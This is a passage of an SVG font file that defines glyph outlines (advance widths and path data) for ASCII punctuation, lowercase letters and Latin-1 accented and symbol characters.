<glyph unicode="[" horiz-adv-x="333" d="M66 -200v929h242v-102h-112v-725h112v-102h-242z" />
<glyph unicode="\" horiz-adv-x="278" d="M-26 714h97l234 -728h-97z" />
<glyph unicode="]" horiz-adv-x="333" d="M18 -98h112v725h-112v102h242v-929h-242v102z" />
<glyph unicode="^" horiz-adv-x="584" d="M61 270l165 425h125l171 -425h-113l-121 300l-115 -300h-112z" />
<glyph unicode="_" d="M-22 -120h600v-69h-600v69z" />
<glyph unicode="`" horiz-adv-x="333" d="M-10 752h156l70 -154h-100z" />
<glyph unicode="a" d="M28 146q0 72 38.5 110t120.5 53l56 10q12 2 32 5t28.5 4.5t21 5.5t17.5 9.5t9 15t4 23.5q0 54 -81 54q-52 0 -73 -16t-26 -58h-135q13 187 231 187q221 0 221 -166v-300q0 -37 32 -66v-17h-152q-16 20 -16 68q-74 -77 -164 -77q-71 0 -117.5 40t-46.5 115zM168 162 q0 -58 76 -58q53 0 82 33t29 94v24q-19 -9 -59 -17l-48 -9q-45 -8 -62.5 -22.5t-17.5 -44.5z" />
<glyph unicode="b" horiz-adv-x="611" d="M59 0v729h140v-259q50 79 149 79q103 0 165 -83.5t62 -202.5q0 -121 -64.5 -196.5t-162.5 -75.5q-97 0 -149 71v-62h-140zM199 272q0 -76 32 -120t86 -44q52 0 85 44t33 117q0 74 -33 118.5t-85 44.5q-53 0 -85.5 -43.5t-32.5 -116.5z" />
<glyph unicode="c" d="M34 266q0 137 66.5 210t188.5 73q101 0 163.5 -56t69.5 -155h-134q-12 53 -34.5 75.5t-65.5 22.5q-114 0 -114 -170q0 -78 30 -120t84 -42q40 0 63 20t37 63h134q-10 -87 -74 -141.5t-161 -54.5q-121 0 -187 71t-66 204z" />
<glyph unicode="d" horiz-adv-x="611" d="M29 269q0 122 65 201t162 79q98 0 149 -79v259h140v-729h-140v62q-54 -71 -149 -71q-104 0 -165.5 79.5t-61.5 198.5zM169 269q0 -74 32.5 -117.5t85.5 -43.5t85.5 43t32.5 116q0 77 -32 121t-86 44q-53 0 -85.5 -44.5t-32.5 -118.5z" />
<glyph unicode="e" d="M22 263q0 135 66.5 210.5t183.5 75.5q119 0 186 -79.5t67 -219.5l-1 -17h-362q3 -75 31 -105t81 -30q90 0 107 54h138q-23 -78 -90 -119.5t-160 -41.5q-116 0 -181.5 71.5t-65.5 200.5zM164 326h215q-5 57 -34 86.5t-75 29.5q-92 0 -106 -116z" />
<glyph unicode="f" horiz-adv-x="333" d="M14 436v93h76v65q0 135 138 135q41 0 80 -3v-105q-18 3 -40 3q-38 0 -38 -42v-53h83v-93h-83v-436h-140v436h-76z" />
<glyph unicode="g" horiz-adv-x="611" d="M34 264q0 125 63.5 205t160.5 80q90 0 150 -92v83h133v-558q0 -95 -67.5 -147.5t-189.5 -52.5q-109 0 -173 43t-66 110h145q17 -63 99 -63q53 0 86 30.5t33 79.5v80q-40 -40 -73 -55.5t-80 -15.5q-100 0 -160.5 74t-60.5 199zM174 266q0 -73 31 -115.5t81 -42.5 q55 0 89.5 42.5t34.5 115.5q0 74 -34.5 120t-87.5 46q-51 0 -82.5 -45t-31.5 -121z" />
<glyph unicode="h" horiz-adv-x="611" d="M67 0v729h140v-267q58 87 158 87q80 0 128 -48t48 -139v-362h-140v330q0 100 -86 100q-47 0 -77.5 -30t-30.5 -76v-324h-140z" />
<glyph unicode="i" horiz-adv-x="278" d="M67 0v540h140v-540h-140zM69 605v140h140v-140h-140z" />
<glyph unicode="j" horiz-adv-x="278" d="M4 -101q13 -4 25 -4q23 0 32 9.5t9 32.5v603h140v-634q0 -66 -29 -95t-94 -29q-36 0 -83 5v112zM70 605v140h140v-140h-140z" />
<glyph unicode="k" d="M59 0v729h140v-399l177 210h159l-184 -204l197 -336h-164l-129 238l-56 -61v-177h-140z" />
<glyph unicode="l" horiz-adv-x="278" d="M67 0v729h140v-729h-140z" />
<glyph unicode="m" horiz-adv-x="889" d="M60 0v540h139v-67q35 41 68.5 58.5t79.5 17.5q106 0 147 -80q60 80 158 80q81 0 126.5 -44t45.5 -123v-382h-140v360q0 32 -20.5 51t-55.5 19q-45 0 -70.5 -28t-25.5 -78v-324h-140v360q0 32 -20.5 51t-55.5 19q-45 0 -70.5 -28t-25.5 -78v-324h-140z" />
<glyph unicode="n" horiz-adv-x="611" d="M63 0v540h140v-78q58 87 162 87q86 0 133.5 -49t47.5 -138v-362h-140v333q0 97 -90 97q-51 0 -82 -29t-31 -77v-324h-140z" />
<glyph unicode="o" horiz-adv-x="611" d="M35 270q0 132 71 205.5t195 73.5q128 0 198 -73.5t70 -209.5q0 -129 -71.5 -202t-195.5 -73q-125 0 -196 73t-71 206zM175 270q0 -77 34.5 -121.5t92.5 -44.5q57 0 92 44.5t35 119.5q0 79 -34.5 123.5t-92.5 44.5t-92.5 -44.5t-34.5 -121.5z" />
<glyph unicode="p" horiz-adv-x="611" d="M58 -218v758h140v-80q50 89 150 89q104 0 165 -78t61 -201q0 -122 -64 -200.5t-162 -78.5q-104 0 -150 81v-290h-140zM198 270q0 -75 32.5 -118.5t85.5 -43.5q52 0 85 43.5t33 116.5q0 76 -32 120t-86 44q-53 0 -85.5 -43.5t-32.5 -118.5z" />
<glyph unicode="q" horiz-adv-x="611" d="M28 270q0 123 64 201t162 78q100 0 150 -89v80h140v-758h-140v290q-45 -81 -151 -81q-102 0 -163.5 78t-61.5 201zM168 270q0 -75 32.5 -118.5t85.5 -43.5t85.5 43t32.5 116q0 78 -32 121.5t-86 43.5q-53 0 -85.5 -43.5t-32.5 -118.5z" />
<glyph unicode="r" horiz-adv-x="389" d="M63 0v540h140v-106q22 55 62 85t88 30q9 0 17 -1v-142q-25 4 -44 4q-123 0 -123 -123v-287h-140z" />
<glyph unicode="s" d="M29 171h137q9 -41 34 -55.5t76 -14.5q104 0 104 46q0 22 -47 37l-167 52q-71 22 -94.5 51t-23.5 82q0 83 59.5 131.5t162.5 48.5q109 0 171 -48.5t64 -134.5h-135q-1 73 -101 73q-37 0 -59 -13.5t-22 -36.5q0 -17 10 -25.5t39 -16.5l177 -51q106 -31 106 -129v-7 q0 -82 -61 -125.5t-175 -43.5q-249 0 -255 180z" />
<glyph unicode="t" horiz-adv-x="333" d="M14 436v93h69v145h140v-145h78v-93h-78v-282q0 -36 9 -47.5t37 -11.5q11 0 32 3v-98q-6 0 -34.5 -2t-46.5 -2q-70 0 -103.5 28.5t-33.5 91.5v320h-69z" />
<glyph unicode="u" horiz-adv-x="611" d="M58 178v362h140v-333q0 -97 90 -97q51 0 82 29t31 77v324h140v-540h-140v71q-60 -80 -162 -80q-86 0 -133.5 49t-47.5 138z" />
<glyph unicode="v" d="M14 540h148l117 -395l109 395h148l-186 -540h-147z" />
<glyph unicode="w" horiz-adv-x="778" d="M5 540h145l86 -378l82 378h140l81 -378l82 378h145l-153 -540h-145l-81 381l-86 -381h-144z" />
<glyph unicode="x" d="M16 0l180 272l-176 268h168l88 -163l87 163h168l-176 -268l180 -272h-168l-91 168l-92 -168h-168z" />
<glyph unicode="y" d="M9 540h154l119 -393l112 393h144l-222 -639q-26 -73 -65 -96.5t-115 -23.5q-22 0 -50 4v105q22 -6 37 -6q37 0 62 26t25 64v3z" />
<glyph unicode="z" horiz-adv-x="500" d="M21 0v113l267 314h-249v113h420v-113l-265 -314h274v-113h-447z" />
<glyph unicode="{" horiz-adv-x="389" d="M37 223v92h16q65 0 65 63v211q0 61 34.5 100.5t88.5 39.5h76v-99h-37q-45 0 -45 -57v-195q0 -55 -20.5 -78t-76.5 -31q56 -9 76.5 -32t20.5 -78v-195q0 -37 10 -51t35 -14h37v-99h-76q-54 0 -88.5 39.5t-34.5 100.5v210q0 42 -15 57t-62 15z" />
<glyph unicode="|" horiz-adv-x="280" d="M90 -200v929h100v-929h-100z" />
<glyph unicode="}" horiz-adv-x="389" d="M72 -101h37q45 0 45 57v195q0 55 20.5 78t76.5 31q-56 9 -76.5 32t-20.5 78v195q0 37 -10 51t-35 14h-37v99h76q54 0 88.5 -39.5t34.5 -100.5v-210q0 -42 15 -57t62 -15l4 -1v-92h-16q-65 -1 -65 -63v-211q0 -61 -34.5 -100.5t-88.5 -39.5h-76v99z" />
<glyph unicode="~" horiz-adv-x="584" d="M60 169q7 145 127 145q48 0 83 -25l57 -42q34 -25 61 -25q28 0 40 13.5t13 52.5h78q-9 -146 -127 -146q-49 0 -83 26l-57 42q-32 24 -61 24q-28 0 -40 -13.5t-13 -51.5h-78z" />
<glyph unicode="&#xa1;" horiz-adv-x="333" d="M92 24l42 309h67l41 -309v-210h-150v210zM92 394v146h150v-146h-150z" />
<glyph unicode="&#xa2;" d="M36 259q0 129 57 203.5t166 85.5v86h44v-85q92 -1 152.5 -59.5t66.5 -151.5h-134q-10 46 -30 69t-55 28v-344q34 5 54 27.5t31 68.5h134q-8 -90 -69 -148t-150 -62v-101h-44v102q-104 7 -163.5 81.5t-59.5 199.5zM176 260q0 -141 83 -166v339q-83 -22 -83 -173z" />
<glyph unicode="&#xa3;" d="M31 80q63 43 86.5 75t23.5 76q0 34 -21 85h-89v55h60q-34 59 -43.5 85.5t-9.5 59.5q0 85 65.5 142t172.5 57q117 0 176.5 -55.5t69.5 -175.5h-132l-1 11q-14 109 -112 109q-43 0 -70.5 -25.5t-27.5 -65.5q0 -22 27 -77q23 -47 30 -65h139v-55h-122q15 -32 15 -59 q0 -44 -26 -82.5t-90 -88.5q78 37 112 37q2 0 54 -10.5t73 -10.5q47 0 105 29l41 -109q-76 -45 -145 -45q-17 0 -98 16t-99 16q-49 0 -109 -30z" />
<glyph unicode="&#xa4;" d="M-3 142l98 98q-31 51 -31 117t31 115l-98 98l66 66l98 -98q54 33 117 33q67 0 117 -33l98 98l66 -66l-98 -98q33 -50 33 -115q0 -67 -33 -117l98 -98l-66 -66l-98 98q-50 -33 -117 -33q-63 0 -117 33l-98 -98zM176 357q0 -48 28 -80.5t74 -32.5t75 32.5t29 80.5t-29 79.5 t-75 31.5t-74 -31.5t-28 -79.5z" />
<glyph unicode="&#xa5;" d="M5 704h139l139 -254l134 254h135l-192 -353h137v-59h-142v-53h142v-59h-142v-180h-140v180h-145v59h145v53h-145v59h138z" />
<glyph unicode="&#xa6;" horiz-adv-x="280" d="M90 172h100v-372h-100v372zM90 357v372h100v-372h-100z" />
<glyph unicode="&#xa7;" d="M33 281q0 45 19.5 75.5t72.5 71.5q-37 37 -49 61t-12 62q0 75 59 123.5t150 48.5q193 0 200 -179h-127q-10 77 -78 77q-29 0 -46.5 -14t-17.5 -37q0 -21 18.5 -38.5t71.5 -46.5l127 -70q97 -54 97 -153q0 -50 -22 -82.5t-72 -55.5q70 -49 70 -134t-60 -138t-158 -53 q-209 0 -211 201h131v-10q3 -46 23.5 -63t57.5 -17q34 0 55 17t21 44q0 26 -10 38.5t-60 39.5l-171 100q-79 46 -79 132zM152 317q0 -23 11.5 -38t41.5 -32l147 -80q46 32 46 65q0 24 -13 39.5t-48 34.5l-143 76q-42 -25 -42 -65z" />
<glyph unicode="&#xa8;" horiz-adv-x="333" d="M6 618v115h126v-115h-126zM201 618v115h126v-115h-126z" />
<glyph unicode="&#xa9;" horiz-adv-x="737" d="M21 340q0 144 102 246.5t246 102.5t246.5 -102.5t102.5 -246.5t-102.5 -246t-246.5 -102t-246 102t-102 246zM80 340q0 -120 84.5 -204.5t204.5 -84.5t205 84.5t85 204.5t-85 205t-205 85t-204.5 -85t-84.5 -205zM180 339q0 94 52.5 147.5t143.5 53.5q77 0 127 -39 t53 -109h-95q-15 67 -82 67q-47 0 -72.5 -31.5t-25.5 -89.5q0 -57 25 -88t70 -31q81 0 84 69h98q-1 -70 -51 -109.5t-133 -39.5q-90 0 -142 53.5t-52 146.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="370" d="M31 484q0 44 23 69t72 34l34 6q47 8 57 14.5t10 22.5q0 31 -49 31q-30 0 -43 -10t-16 -34h-78q2 112 135 112t133 -100v-179q0 -22 20 -40v-10h-92q-9 11 -10 32q-43 -46 -98 -46q-44 0 -71 27t-27 71zM37 262v78h284v-78h-284zM115 493q0 -39 46 -39q31 0 48.5 20 t17.5 56v23q-9 -5 -35 -10l-29 -6q-26 -5 -37 -15t-11 -29z" />
<glyph unicode="&#xab;" d="M88 218v114l167 149v-117l-101 -89l101 -89v-114zM301 218v114l167 149v-117l-101 -89l101 -89v-114z" />
<glyph unicode="&#xac;" horiz-adv-x="584" d="M60 291v100h464v-232h-100v132h-364z" />
<glyph unicode="&#xad;" horiz-adv-x="333" d="M26 207v135h272v-135h-272z" />
<glyph unicode="&#xae;" horiz-adv-x="737" d="M21 340q0 144 102 246.5t246 102.5t246.5 -102.5t102.5 -246.5t-102.5 -246t-246.5 -102t-246 102t-102 246zM80 340q0 -120 84.5 -204.5t204.5 -84.5t205 84.5t85 204.5t-85 205t-205 85t-204.5 -85t-84.5 -205zM193 145v389h228q57 0 87.5 -30.5t30.5 -78.5 q0 -64 -56 -92q29 -13 35.5 -35.5t8.5 -102.5q1 -16 18 -23v-27h-103q-17 27 -17 72q0 4 1 20t1 19q0 37 -45 37h-89v-148h-100zM293 373h94q30 0 41 9.5t11 32.5q0 21 -11.5 30t-40.5 9h-94v-81z" />
<glyph unicode="&#xaf;" horiz-adv-x="333" d="M16 636v79h299v-79h-299z" />
<glyph unicode="&#xb0;" horiz-adv-x="400" d="M57 569q0 59 42 101t101 42t101 -42t42 -101t-42 -101t-101 -42t-101 42t-42 101zM113 569q0 -36 25.5 -61.5t61.5 -25.5t61.5 25.5t25.5 61.5t-25.5 61.5t-61.5 25.5t-61.5 -25.5t-25.5 -61.5z" />
<glyph unicode="&#xb1;" horiz-adv-x="584" d="M60 0v100h464v-100h-464zM60 300v100h182v182h100v-182h182v-100h-182v-110h-100v110h-182z" />
<glyph unicode="&#xb2;" horiz-adv-x="333" d="M28 336q1 54 20.5 84.5t71.5 64.5q64 42 81.5 62t17.5 49q0 27 -14 42t-40 15q-52 0 -52 -63l1 -14h-81q-1 7 -1 16q0 61 36 93.5t102 32.5q64 0 98.5 -30.5t34.5 -87.5q0 -39 -18.5 -64.5t-71.5 -64.5q-54 -37 -61 -46q-3 -3 -16 -18h165v-71h-273z" />
<glyph unicode="&#xb3;" horiz-adv-x="333" d="M30 450h81q4 -58 57 -58q24 0 39.5 15t15.5 38q0 55 -74 55h-14v55h10q66 0 66 51q0 22 -13 35t-34 13q-27 0 -38.5 -15.5t-11.5 -50.5h-78q3 68 36 99t95 31q58 0 92.5 -28t34.5 -75q0 -50 -46 -78q59 -29 59 -91q0 -55 -38.5 -88.5t-101.5 -33.5q-65 0 -100.5 33 t-36.5 93z" />
<glyph unicode="&#xb4;" horiz-adv-x="333" d="M117 598l70 154h156l-126 -154h-100z" />
<glyph unicode="&#xb5;" horiz-adv-x="611" d="M58 -220v760h140v-334q0 -110 84 -110q44 0 72.5 30t28.5 76v338h140v-390q0 -44 6 -58.5t24 -14.5q7 0 20 4v-87q-33 -17 -70 -17q-35 0 -56 12t-39 42q-29 -30 -55 -42t-61 -12q-61 0 -100 38v-235h-134z" />
<glyph unicode="&#xb6;" d="M19 495q0 96 59.5 165t147.5 69h303v-72h-43v-848h-98v848h-63v-848h-98v458q-92 4 -150 68t-58 160z" />
<glyph unicode="&#xb7;" horiz-adv-x="278" d="M64 250q0 31 22 53t53 22t53 -22t22 -53t-22 -53t-53 -22t-53 22t-22 53z" />
<glyph unicode="&#xb8;" horiz-adv-x="333" d="M27 -201l19 61q69 -30 105 -30q24 0 40.5 12t16.5 29q0 31 -51 31h-64l49 103h63l-27 -55h40q35 0 55.5 -21.5t20.5 -55.5q0 -46 -34 -74t-95 -28q-55 0 -138 28z" />
<glyph unicode="&#xb9;" horiz-adv-x="333" d="M53 589v54q103 0 122 66h56v-374h-84v254h-94z" />
<glyph unicode="&#xba;" horiz-adv-x="365" d="M23 557q0 80 43 126t117 46q76 0 118 -46t42 -128q0 -78 -43 -123.5t-117 -45.5t-117 46t-43 125zM33 262v78h301v-78h-301zM107 558q0 -46 21 -75t55 -29t55 28.5t21 73.5q0 47 -21 76t-55 29t-55 -28.5t-21 -74.5z" />
<glyph unicode="&#xbb;" d="M88 72v117l101 89l-101 89v114l167 -146v-115zM295 72v117l101 89l-101 89v114l167 -146v-115z" />
<glyph unicode="&#xbc;" horiz-adv-x="834" d="M64 589v54q102 0 122 66h56v-374h-84v254h-94zM160 -25l423 740h87l-423 -740h-87zM476 82v65l146 227h96v-226h40v-66h-40v-82h-84v82h-158zM541 148h93v144z" />
<glyph unicode="&#xbd;" horiz-adv-x="834" d="M64 589v54q102 0 122 66h56v-374h-84v254h-94zM134 -25l423 740h87l-423 -740h-87zM500 0q1 53 20 84t71 65q65 42 82.5 62t17.5 49q0 27 -14 42t-40 15q-25 0 -39 -16.5t-14 -46.5l2 -14h-81q-1 7 -1 16q0 61 36 93.5t102 32.5q64 0 98 -30.5t34 -87.5q0 -40 -18 -66 t-71 -62q-53 -37 -62 -48q-3 -3 -15 -17h165v-71h-273z" />
<glyph unicode="&#xbe;" horiz-adv-x="834" d="M63 450h81q4 -58 57 -58q24 0 39.5 15t15.5 38q0 55 -74 55h-14v55h10q66 0 66 51q0 22 -13 35t-34 13q-27 0 -38.5 -15.5t-11.5 -50.5h-78q3 68 36 99t95 31q58 0 92.5 -28t34.5 -75q0 -50 -46 -78q59 -29 59 -91q0 -55 -38.5 -88.5t-101.5 -33.5q-65 0 -100.5 33 t-36.5 93zM192 -25l423 740h87l-423 -740h-87zM476 82v65l146 227h96v-226h40v-66h-40v-82h-84v82h-158zM541 148h93v144z" />
<glyph unicode="&#xbf;" horiz-adv-x="611" d="M60 26q0 63 25 104t95 90q45 32 56 51t11 68h124v-14q0 -57 -21.5 -97t-77.5 -87q-45 -37 -58 -57.5t-13 -54.5q0 -49 30 -82t75 -33q48 0 79 38t31 96v11h136q0 -132 -65 -197.5t-178 -65.5q-110 0 -179.5 64t-69.5 166zM231 394v146h150v-146h-150z" />
<glyph unicode="&#xc0;" horiz-adv-x="722" d="M26 0l259 729h166l252 -729h-154l-48 147h-273l-49 -147h-153zM180 921h165l76 -135h-106zM270 272h190l-95 285z" />
<glyph unicode="&#xc1;" horiz-adv-x="722" d="M26 0l259 729h166l252 -729h-154l-48 147h-273l-49 -147h-153zM270 272h190l-95 285zM315 786l76 135h165l-135 -135h-106z" />
<glyph unicode="&#xc2;" horiz-adv-x="722" d="M26 0l259 729h166l252 -729h-154l-48 147h-273l-49 -147h-153zM177 787l130 135h128l124 -135h-94l-98 70l-99 -70h-91zM270 272h190l-95 285z" />
<glyph unicode="&#xc3;" horiz-adv-x="722" d="M26 0l259 729h166l252 -729h-154l-48 147h-273l-49 -147h-153zM193 790q3 58 28 91t66 33q20 0 56 -13l71 -25q14 -6 34 -6q32 0 36 48h63q-6 -127 -95 -127q-23 0 -55 12l-71 26q-18 6 -30 6q-18 0 -27 -10.5t-13 -34.5h-63zM270 272h190l-95 285z" />
<glyph unicode="&#xc4;" horiz-adv-x="722" d="M26 0l259 729h166l252 -729h-154l-48 147h-273l-49 -147h-153zM208 797v115h126v-115h-126zM270 272h190l-95 285zM403 797v115h126v-115h-126z" />
<glyph unicode="&#xc5;" horiz-adv-x="722" d="M26 0l259 729h166l252 -729h-154l-48 147h-273l-49 -147h-153zM269 863q0 41 29 70t72 29q41 0 69.5 -29t28.5 -71q0 -40 -29.5 -69t-69.5 -29q-42 0 -71 29t-29 70zM270 272h190l-95 285zM322 863q0 -19 14 -32.5t34 -13.5q18 0 31.5 13.5t13.5 32.5t-13 32.5t-32 13.5 q-20 0 -34 -13.5t-14 -32.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="1000" d="M1 0l263 729h682v-125h-366v-165h339v-125h-339v-189h386v-125h-536v152h-223l-53 -152h-153zM249 277h181v327h-67z" />
<glyph unicode="&#xc7;" horiz-adv-x="722" d="M44 364q0 176 89.5 276.5t244.5 100.5q127 0 211 -68t93 -191h-143q-31 131 -156 131q-89 0 -139 -65.5t-50 -185.5q0 -119 48.5 -183.5t135.5 -64.5q148 0 161 135h146q-7 -119 -83.5 -187t-204.5 -73l-19 -39h40q35 0 55.5 -21.5t20.5 -55.5q0 -46 -34 -74t-95 -28 q-55 0 -138 28l19 61q69 -30 105 -30q24 0 40.5 12t16.5 29q0 31 -51 31h-64l42 88q-136 13 -213.5 112t-77.5 262z" />
<glyph unicode="&#xc8;" horiz-adv-x="667" d="M79 0v729h527v-125h-377v-165h349v-125h-349v-189h395v-125h-545zM155 921h165l76 -135h-106z" />
<glyph unicode="&#xc9;" horiz-adv-x="667" d="M79 0v729h527v-125h-377v-165h349v-125h-349v-189h395v-125h-545zM290 786l76 135h165l-135 -135h-106z" />
<glyph unicode="&#xca;" horiz-adv-x="667" d="M79 0v729h527v-125h-377v-165h349v-125h-349v-189h395v-125h-545zM152 787l130 135h128l124 -135h-94l-98 70l-99 -70h-91z" />
<glyph unicode="&#xcb;" horiz-adv-x="667" d="M79 0v729h527v-125h-377v-165h349v-125h-349v-189h395v-125h-545zM183 797v115h126v-115h-126zM378 797v115h126v-115h-126z" />
<glyph unicode="&#xcc;" horiz-adv-x="278" d="M-28 921h165l76 -135h-106zM63 0v729h150v-729h-150z" />
<glyph unicode="&#xcd;" horiz-adv-x="278" d="M63 0v729h150v-729h-150zM64 786l76 135h165l-135 -135h-106z" />
<glyph unicode="&#xce;" horiz-adv-x="278" d="M-53 787l130 135h128l124 -135h-94l-98 70l-99 -70h-91zM63 0v729h150v-729h-150z" />
<glyph unicode="&#xcf;" horiz-adv-x="278" d="M-22 797v115h126v-115h-126zM63 0v729h150v-729h-150zM173 797v115h126v-115h-126z" />
<glyph unicode="&#xd0;" horiz-adv-x="722" d="M0 339v80h77v310h285q86 0 140.5 -20t90.5 -64q41 -51 64.5 -125.5t23.5 -154.5q0 -81 -23.5 -154.5t-64.5 -125.5q-36 -45 -90.5 -65t-140.5 -20h-285v339h-77zM227 125h135q97 0 136 62.5t39 176.5q0 115 -39 177.5t-136 62.5h-135v-185h150v-80h-150v-214z" />
<glyph unicode="&#xd1;" horiz-adv-x="722" d="M68 0v729h154l289 -496v496h150v-729h-150l-293 504v-504h-150zM186 790q3 58 28 91t66 33q20 0 56 -13l71 -25q14 -6 34 -6q31 0 36 48h63q-6 -127 -95 -127q-23 0 -55 12l-71 26q-18 6 -30 6q-18 0 -27 -10.5t-13 -34.5h-63z" />
<glyph unicode="&#xd2;" horiz-adv-x="778" d="M40 365q0 161 96.5 268.5t253.5 107.5q158 0 255 -107t97 -274q0 -162 -97 -267t-254 -105q-159 0 -255 105.5t-96 271.5zM190 365q0 -114 55 -181.5t146 -67.5q90 0 145.5 67t55.5 178q0 114 -54.5 183t-146.5 69q-90 0 -145.5 -68.5t-55.5 -179.5zM202 921h165l76 -135 h-106z" />
<glyph unicode="&#xd3;" horiz-adv-x="778" d="M40 365q0 161 96.5 268.5t253.5 107.5q158 0 255 -107t97 -274q0 -162 -97 -267t-254 -105q-159 0 -255 105.5t-96 271.5zM190 365q0 -114 55 -181.5t146 -67.5q90 0 145.5 67t55.5 178q0 114 -54.5 183t-146.5 69q-90 0 -145.5 -68.5t-55.5 -179.5zM337 786l76 135h165 l-135 -135h-106z" />
<glyph unicode="&#xd4;" horiz-adv-x="778" d="M40 365q0 161 96.5 268.5t253.5 107.5q158 0 255 -107t97 -274q0 -162 -97 -267t-254 -105q-159 0 -255 105.5t-96 271.5zM190 365q0 -114 55 -181.5t146 -67.5q90 0 145.5 67t55.5 178q0 114 -54.5 183t-146.5 69q-90 0 -145.5 -68.5t-55.5 -179.5zM199 787l130 135h128 l124 -135h-94l-98 70l-99 -70h-91z" />
<glyph unicode="&#xd5;" horiz-adv-x="778" d="M40 365q0 161 96.5 268.5t253.5 107.5q158 0 255 -107t97 -274q0 -162 -97 -267t-254 -105q-159 0 -255 105.5t-96 271.5zM190 365q0 -114 55 -181.5t146 -67.5q90 0 145.5 67t55.5 178q0 114 -54.5 183t-146.5 69q-90 0 -145.5 -68.5t-55.5 -179.5zM215 790q3 58 28 91 t66 33q20 0 56 -13l71 -25q14 -6 34 -6q32 0 36 48h63q-6 -127 -95 -127q-23 0 -55 12l-71 26q-18 6 -30 6q-18 0 -27 -10.5t-13 -34.5h-63z" />
<glyph unicode="&#xd6;" horiz-adv-x="778" d="M40 365q0 161 96.5 268.5t253.5 107.5q158 0 255 -107t97 -274q0 -162 -97 -267t-254 -105q-159 0 -255 105.5t-96 271.5zM190 365q0 -114 55 -181.5t146 -67.5q90 0 145.5 67t55.5 178q0 114 -54.5 183t-146.5 69q-90 0 -145.5 -68.5t-55.5 -179.5zM230 797v115h126 v-115h-126zM425 797v115h126v-115h-126z" />
<glyph unicode="&#xd7;" horiz-adv-x="584" d="M93 121l128 129l-128 129l70 70l129 -128l129 128l70 -70l-128 -129l128 -129l-70 -70l-129 128l-129 -128z" />
<glyph unicode="&#xd8;" horiz-adv-x="778" d="M40 365q0 161 96.5 268.5t253.5 107.5q128 0 218 -73l65 70l68 -64l-69 -74q70 -100 70 -240q0 -162 -97 -267t-254 -105q-129 0 -218 72l-64 -69l-68 64l68 73q-69 98 -69 237zM190 365q0 -70 22 -125l303 328q-50 45 -124 45q-90 0 -145.5 -68.5t-55.5 -179.5zM266 161 q51 -45 125 -45q90 0 145.5 67t55.5 178q0 71 -23 128z" />
<glyph unicode="&#xd9;" horiz-adv-x="722" d="M76 246v483h150v-483q0 -130 139 -130t139 130v483h150v-483q0 -125 -79.5 -191.5t-209.5 -66.5t-209.5 66.5t-79.5 191.5zM173 921h165l76 -135h-106z" />
<glyph unicode="&#xda;" horiz-adv-x="722" d="M76 246v483h150v-483q0 -130 139 -130t139 130v483h150v-483q0 -125 -79.5 -191.5t-209.5 -66.5t-209.5 66.5t-79.5 191.5zM308 786l76 135h165l-135 -135h-106z" />
<glyph unicode="&#xdb;" horiz-adv-x="722" d="M76 246v483h150v-483q0 -130 139 -130t139 130v483h150v-483q0 -125 -79.5 -191.5t-209.5 -66.5t-209.5 66.5t-79.5 191.5zM170 787l130 135h128l124 -135h-94l-98 70l-99 -70h-91z" />
<glyph unicode="&#xdc;" horiz-adv-x="722" d="M76 246v483h150v-483q0 -130 139 -130t139 130v483h150v-483q0 -125 -79.5 -191.5t-209.5 -66.5t-209.5 66.5t-79.5 191.5zM201 797v115h126v-115h-126zM396 797v115h126v-115h-126z" />
<glyph unicode="&#xdd;" horiz-adv-x="667" d="M27 729h167l149 -322l139 322h168l-231 -459v-270h-150v270zM291 786l76 135h165l-135 -135h-106z" />
<glyph unicode="&#xde;" horiz-adv-x="667" d="M76 0v729h150v-120h172q116 0 173 -56q62 -61 62 -171q0 -112 -59.5 -177t-160.5 -65h-187v-140h-150zM226 265h140q117 0 117 109q0 56 -28.5 83t-88.5 27h-140v-219z" />
<glyph unicode="&#xdf;" horiz-adv-x="611" d="M67 0v518q0 211 236 211q101 0 165 -51t64 -131q0 -102 -87 -136q62 -13 96 -59t34 -116q0 -114 -60 -183.5t-158 -69.5q-23 0 -72 6v112l13 1l20 1q52 2 84.5 35.5t32.5 87.5q0 57 -36.5 90t-100.5 33h-13v95h9q45 1 71.5 25t26.5 64q0 39 -26 61t-72 22q-41 0 -64 -21 t-23 -58v-537h-140z" />
<glyph unicode="&#xe0;" d="M28 146q0 72 38.5 110t120.5 53l56 10q12 2 32 5t28.5 4.5t21 5.5t17.5 9.5t9 15t4 23.5q0 54 -81 54q-52 0 -73 -16t-26 -58h-135q13 187 231 187q221 0 221 -166v-300q0 -37 32 -66v-17h-152q-16 20 -16 68q-74 -77 -164 -77q-71 0 -117.5 40t-46.5 115zM95 752h156 l70 -154h-100zM168 162q0 -58 76 -58q53 0 82 33t29 94v24q-19 -9 -59 -17l-48 -9q-45 -8 -62.5 -22.5t-17.5 -44.5z" />
<glyph unicode="&#xe1;" d="M28 146q0 72 38.5 110t120.5 53l56 10q12 2 32 5t28.5 4.5t21 5.5t17.5 9.5t9 15t4 23.5q0 54 -81 54q-52 0 -73 -16t-26 -58h-135q13 187 231 187q221 0 221 -166v-300q0 -37 32 -66v-17h-152q-16 20 -16 68q-74 -77 -164 -77q-71 0 -117.5 40t-46.5 115zM168 162 q0 -58 76 -58q53 0 82 33t29 94v24q-19 -9 -59 -17l-48 -9q-45 -8 -62.5 -22.5t-17.5 -44.5zM221 598l70 154h156l-126 -154h-100z" />
<glyph unicode="&#xe2;" d="M28 146q0 72 38.5 110t120.5 53l56 10q12 2 32 5t28.5 4.5t21 5.5t17.5 9.5t9 15t4 23.5q0 54 -81 54q-52 0 -73 -16t-26 -58h-135q13 187 231 187q221 0 221 -166v-300q0 -37 32 -66v-17h-152q-16 20 -16 68q-74 -77 -164 -77q-71 0 -117.5 40t-46.5 115zM102 598 l108 154h127l103 -154h-88l-82 77l-82 -77h-86zM168 162q0 -58 76 -58q53 0 82 33t29 94v24q-19 -9 -59 -17l-48 -9q-45 -8 -62.5 -22.5t-17.5 -44.5z" />
